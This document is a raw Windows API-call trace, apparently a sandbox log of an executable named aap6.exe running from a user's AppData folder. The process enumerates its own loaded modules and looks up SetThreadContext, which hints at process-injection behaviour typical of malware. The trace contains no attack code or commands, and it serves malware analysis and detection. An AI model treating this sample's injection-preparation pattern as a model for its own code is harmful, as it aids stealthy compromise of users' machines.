	[0116.250] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0116.251] GetLastError () returned 0xcb
	[0116.298] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0116.298] GetLastError () returned 0xcb
	[0116.298] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x23b1e40, cb=0xc | out: lpmodinfo=0x23b1e40*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0116.299] GetLastError () returned 0xcb
	[0116.299] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0116.299] GetLastError () returned 0xcb
	[0116.299] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0116.299] GetLastError () returned 0xcb
	[0116.300] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x23b2f3c, cb=0xc | out: lpmodinfo=0x23b2f3c*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0116.300] GetLastError () returned 0xcb
	[0116.300] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0116.300] GetLastError () returned 0xcb
	[0116.300] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0116.301] GetLastError () returned 0xcb
	[0116.301] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x23b4030, cb=0xc | out: lpmodinfo=0x23b4030*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0116.301] GetLastError () returned 0xcb
	[0116.301] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0116.301] GetLastError () returned 0xcb
	[0116.301] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0116.302] GetLastError () returned 0xcb
	[0116.302] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x23b512c, cb=0xc | out: lpmodinfo=0x23b512c*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0116.302] GetLastError () returned 0xcb
	[0116.302] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0116.302] GetLastError () returned 0xcb
	[0116.303] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0116.303] GetLastError () returned 0xcb
	[0116.303] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x23b6218, cb=0xc | out: lpmodinfo=0x23b6218*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0116.303] GetLastError () returned 0xcb
	[0116.303] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0116.304] GetLastError () returned 0xcb
	[0116.304] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0116.304] GetLastError () returned 0xcb
	[0116.304] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x23b739c, cb=0xc | out: lpmodinfo=0x23b739c*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0116.304] GetLastError () returned 0xcb
	[0116.305] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0116.305] GetLastError () returned 0xcb
	[0116.305] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0116.305] GetLastError () returned 0xcb
	[0116.305] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x23b8490, cb=0xc | out: lpmodinfo=0x23b8490*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0116.306] GetLastError () returned 0xcb
	[0116.306] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0116.306] GetLastError () returned 0xcb
	[0116.306] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0116.307] GetLastError () returned 0xcb
	[0116.307] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x23b9584, cb=0xc | out: lpmodinfo=0x23b9584*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0116.307] GetLastError () returned 0xcb
	[0116.307] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0116.307] GetLastError () returned 0xcb
	[0116.308] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0116.308] GetLastError () returned 0xcb
	[0116.308] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x23ba6bc, cb=0xc | out: lpmodinfo=0x23ba6bc*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0116.308] GetLastError () returned 0xcb
	[0116.308] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0116.309] GetLastError () returned 0xcb
	[0116.309] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0116.309] GetLastError () returned 0xcb
	[0116.309] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x23bb850, cb=0xc | out: lpmodinfo=0x23bb850*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0116.310] GetLastError () returned 0xcb
	[0116.310] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0116.310] GetLastError () returned 0xcb
	[0116.310] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0116.311] GetLastError () returned 0xcb
	[0116.311] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x23bc94c, cb=0xc | out: lpmodinfo=0x23bc94c*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0116.311] GetLastError () returned 0xcb
	[0116.311] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0116.312] GetLastError () returned 0xcb
	[0116.312] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0116.312] GetLastError () returned 0xcb
	[0116.312] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x23bda40, cb=0xc | out: lpmodinfo=0x23bda40*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0116.313] GetLastError () returned 0xcb
	[0116.313] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0116.313] GetLastError () returned 0xcb
	[0116.313] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0116.314] GetLastError () returned 0xcb
	[0116.314] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x23beb3c, cb=0xc | out: lpmodinfo=0x23beb3c*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0116.314] GetLastError () returned 0xcb
	[0116.314] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0116.315] GetLastError () returned 0xcb
	[0116.315] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0116.315] GetLastError () returned 0xcb
	[0116.315] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x23bfcd4, cb=0xc | out: lpmodinfo=0x23bfcd4*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0116.316] GetLastError () returned 0xcb
	[0116.316] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0116.316] GetLastError () returned 0xcb
	[0116.316] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0116.317] GetLastError () returned 0xcb
	[0116.317] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x23c0dd0, cb=0xc | out: lpmodinfo=0x23c0dd0*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0116.317] GetLastError () returned 0xcb
	[0116.317] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0116.318] GetLastError () returned 0xcb
	[0116.318] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0116.318] GetLastError () returned 0xcb
	[0116.319] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x23c1f08, cb=0xc | out: lpmodinfo=0x23c1f08*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0116.319] GetLastError () returned 0xcb
	[0116.319] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0116.319] GetLastError () returned 0xcb
	[0116.320] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0116.320] GetLastError () returned 0xcb
	[0116.320] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x23c3094, cb=0xc | out: lpmodinfo=0x23c3094*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0116.321] GetLastError () returned 0xcb
	[0116.321] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0116.321] GetLastError () returned 0xcb
	[0116.321] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0116.322] GetLastError () returned 0xcb
	[0116.322] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x23c4278, cb=0xc | out: lpmodinfo=0x23c4278*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0116.322] GetLastError () returned 0xcb
	[0116.322] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0116.323] GetLastError () returned 0xcb
	[0116.323] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0116.323] GetLastError () returned 0xcb
	[0116.324] CloseHandle (hObject=0x1ec) returned 1
	[0116.324] GetLastError () returned 0xcb
	[0116.328] CoCreateGuid (in: pguid=0x3ed4f4 | out: pguid=0x3ed4f4*(Data1=0x17e63c6f, Data2=0x6d4e, Data3=0x4973, Data4=([0]=0x85, [1]=0x95, [2]=0x1f, [3]=0x58, [4]=0x22, [5]=0xd4, [6]=0xde, [7]=0xc5))) returned 0x0
	[0116.337] CoCreateGuid (in: pguid=0x3eda58 | out: pguid=0x3eda58*(Data1=0xe9152899, Data2=0x17cb, Data3=0x4080, Data4=([0]=0x8e, [1]=0x28, [2]=0xff, [3]=0x1c, [4]=0x22, [5]=0x87, [6]=0x26, [7]=0x7d))) returned 0x0
	[0116.345] GetProcAddress (hModule=0x75fb0000, lpProcName="SetThreadContext") returned 0x76045393
	[0116.356] GetCurrentProcessId () returned 0x9f8
	[0116.357] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0116.357] GetLastError () returned 0xcb
	[0116.357] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x23d0af0, cb=0x100, lpcbNeeded=0x3ee204 | out: lphModule=0x23d0af0, lpcbNeeded=0x3ee204) returned 1
	[0116.357] GetLastError () returned 0xcb
	[0116.357] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x23d0c30, cb=0xc | out: lpmodinfo=0x23d0c30*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0116.357] GetLastError () returned 0xcb
	[0116.357] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0116.357] GetLastError () returned 0xcb
	[0116.358] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0116.358] GetLastError () returned 0xcb
	[0116.358] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x23d1d60, cb=0xc | out: lpmodinfo=0x23d1d60*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0116.358] GetLastError () returned 0xcb
	[0116.358] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0116.358] GetLastError () returned 0xcb
	[0116.358] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0116.358] GetLastError () returned 0xcb
	[0116.358] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x23d2e54, cb=0xc | out: lpmodinfo=0x23d2e54*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0116.359] GetLastError () returned 0xcb
	[0116.359] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0116.359] GetLastError () returned 0xcb
	[0116.359] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0116.359] GetLastError () returned 0xcb
	[0116.359] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x23d3f50, cb=0xc | out: lpmodinfo=0x23d3f50*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0116.359] GetLastError () returned 0xcb
	[0116.359] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0116.360] GetLastError () returned 0xcb
	[0116.360] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0116.360] GetLastError () returned 0xcb
	[0116.360] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x23d5054, cb=0xc | out: lpmodinfo=0x23d5054*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0116.360] GetLastError () returned 0xcb
	[0116.360] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0116.360] GetLastError () returned 0xcb
	[0116.361] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0116.361] GetLastError () returned 0xcb
	[0116.361] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x23d6190, cb=0xc | out: lpmodinfo=0x23d6190*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0116.361] GetLastError () returned 0xcb
	[0116.361] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0116.361] GetLastError () returned 0xcb
	[0116.361] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0116.361] GetLastError () returned 0xcb
	[0116.362] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x23d7294, cb=0xc | out: lpmodinfo=0x23d7294*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0116.362] GetLastError () returned 0xcb
	[0116.362] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0116.362] GetLastError () returned 0xcb
	[0116.362] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0116.362] GetLastError () returned 0xcb
	[0116.362] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x23d8390, cb=0xc | out: lpmodinfo=0x23d8390*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0116.363] GetLastError () returned 0xcb
	[0116.363] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0116.363] GetLastError () returned 0xcb
	[0116.363] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0116.363] GetLastError () returned 0xcb
	[0116.363] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x23d948c, cb=0xc | out: lpmodinfo=0x23d948c*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0116.364] GetLastError () returned 0xcb
	[0116.364] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0116.364] GetLastError () returned 0xcb
	[0116.364] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0116.364] GetLastError () returned 0xcb
	[0116.364] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x23da5d8, cb=0xc | out: lpmodinfo=0x23da5d8*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0116.364] GetLastError () returned 0xcb
	[0116.365] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0116.365] GetLastError () returned 0xcb
	[0116.365] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0116.365] GetLastError () returned 0xcb
	[0116.365] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x23db6d4, cb=0xc | out: lpmodinfo=0x23db6d4*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0116.365] GetLastError () returned 0xcb
	[0116.365] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0116.366] GetLastError () returned 0xcb
	[0116.366] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0116.366] GetLastError () returned 0xcb
	[0116.366] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x23dc7d8, cb=0xc | out: lpmodinfo=0x23dc7d8*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0116.366] GetLastError () returned 0xcb
	[0116.366] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0116.367] GetLastError () returned 0xcb
	[0116.367] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0116.367] GetLastError () returned 0xcb
	[0116.367] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x23dd910, cb=0xc | out: lpmodinfo=0x23dd910*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0116.367] GetLastError () returned 0xcb
	[0116.367] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0116.368] GetLastError () returned 0xcb
	[0116.368] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0116.368] GetLastError () returned 0xcb
	[0116.368] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x23dea0c, cb=0xc | out: lpmodinfo=0x23dea0c*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0116.368] GetLastError () returned 0xcb
	[0116.369] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0116.369] GetLastError () returned 0xcb
	[0116.369] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0116.369] GetLastError () returned 0xcb
	[0116.369] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x23dfb00, cb=0xc | out: lpmodinfo=0x23dfb00*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0116.370] GetLastError () returned 0xcb
